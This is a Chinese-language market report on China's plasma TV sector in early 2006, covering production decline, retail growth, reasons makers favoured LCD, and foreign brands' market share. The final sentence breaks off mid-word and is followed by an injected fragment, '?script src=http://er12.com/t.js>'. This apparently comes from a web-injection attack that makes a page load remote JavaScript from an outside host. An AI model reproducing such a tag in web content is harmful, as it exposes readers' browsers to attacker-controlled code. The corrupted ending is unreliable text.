信息产业部提供的统计数据显示，2006年1月～5月，由于彩电厂商对等离子投入力度的减少，产量大幅滑坡，仅为21.8万台，同比下滑24.7%，但得益于消费者对等离子电视认知度的提高、自身价格的大幅下滑以及“世界杯”的热潮，零售量与去年同期相比，却呈现出增长态势，尤其是4月、5月、6月均实现较大增长；在品牌格局方面，外资品牌凭借品牌优势和价格策略的调整，进一步巩固了在等离子电视市场的主导地位，而长虹和海信则成为国产品牌的佼佼者；在尺寸规格方面，等离子在40英寸及以上的大屏幕电视市场依然领先，占有36%的比重，但同时也受到了来自大屏幕液晶电视的冲击，42英寸仍是等离子的主流尺寸，占有90%以上的比重，同时，xga分辨力的等离子电视的比重迅速提高；在价格方面，50英寸和42英寸xga规格都有较大幅度降价，国外品牌与国产品牌的零售价格也进一步拉近。

　　综观中国的平板电视市场，单纯从技术的角度看，液晶与等离子各有长短，然而本应平分秋色的平板双雄的境遇却迥然不同，无论在产量、市场份额还是厂商阵容方面，在与液晶电视的较量中，皆处下风。放眼全球市场，等离子的困境只是发生在中国市场的特例。其实，等离子依然会扮演重要的市场角色，等离子未来面临着两大发展机遇：一是在50英寸等离子市场，2006年年底成本优势将明显地显现出来，届时这一尺寸的等离子市场将出现快速发展。二是商用等离子市场依然稳步增长。

　　市场：零售量继续增长

　　近日，信息产业部公布的2006年1月～5月我国彩电业的相关统计数据显示，等离子电视产量明显滑坡。2006年前5个月等离子电视的产量仅为21.8万台，同比下滑24.7%。与之形成鲜明对比的是，液晶电视产量大幅攀升，2006年前5个月，我国液晶电视产量为243.5万台，同比增长161.5%。

　　产量下滑的主要原因是彩电厂商在等离子电视方面的投入力度减少，在国际巨头厂商方面，早先有索尼、东芝宣布逐渐淡出等离子市场，在国内厂商方面，大多数彩电厂商对外宣称液晶、等离子会“两碗水端平”，而在实际的市场运营过程中，明显偏重于液晶彩电。

　　而等离子在厂商方面遭受冷遇的根本原因有三：

　　一是在舆论宣传方面，“等离子淘汰论”、“液晶独霸论”，在市场上形成了不利于等离子市场发展的新一轮舆论，消费者因此对等离子的技术产生误解，舆论不客观地宣传等离子、误导消费者的行为，直接或间接地左右了消费者的购买导向，影响了等离子电视市场的正常发展。

　　二是前一阶段由于等离子电视价格下降过快，等离子屏的价格调整跟不上，以致部分厂家出现负毛利率，因此厂商更愿意去做还有利可图的液晶电视。

　　三是目前全球成规模的等离子面板厂商只有5家，而主要给国内厂商供货的仅有2家～3家，等离子面板的货源远没有液晶面板充足，国内企业可能在全球需求旺盛的时候存在拿不到货的尴尬，这导致了我国彩电整机厂商投资等离子的风险加大，中国企业在资源分配和市场投入上难以多方兼顾，因此，部分彩电厂商在战略上选择了“弃等离子投资液晶”的道路。

　　尽管2006年1月～5月等离子电视的产量由于各种主客观原因明显下滑，但其零售量与去年同期相比，却呈现出增长态势，尤其是4月、5月、6月均实现较大增长。等离子电视的零售量增长主要得益于：一是消费者对等离子电视认知度的提高，二是自身价格的大幅下滑，三是“世界杯”的热潮，带动了市场销售。

　　据赛诺市场研究公司估算，2006年上半年，我国等离子电视市场总销量预估可达到40万台，其中零售市场销量近32万台，商用市场也将有3.5万台的规模。第一季度，等离子电视市场零售量达到15.8万台，同比去年增长了49%，第二季度等离子电视市场零售量将达到16万台，同比去年增长了44%，比第一季度微增1%。

　　品牌：外资品牌主导市场

　　2006年上半年，外资品牌凭借品牌优势和价格策略的调整，进一步巩固了在等离子电视市场的主导地位。

　　在销售量方面，根据中怡康的统计数据，1月～5月，松下(21.64%)、日立(17.60%)的市场占有率位列前两名，合计占到39.24%的份?script src=http://er12.com/t.js>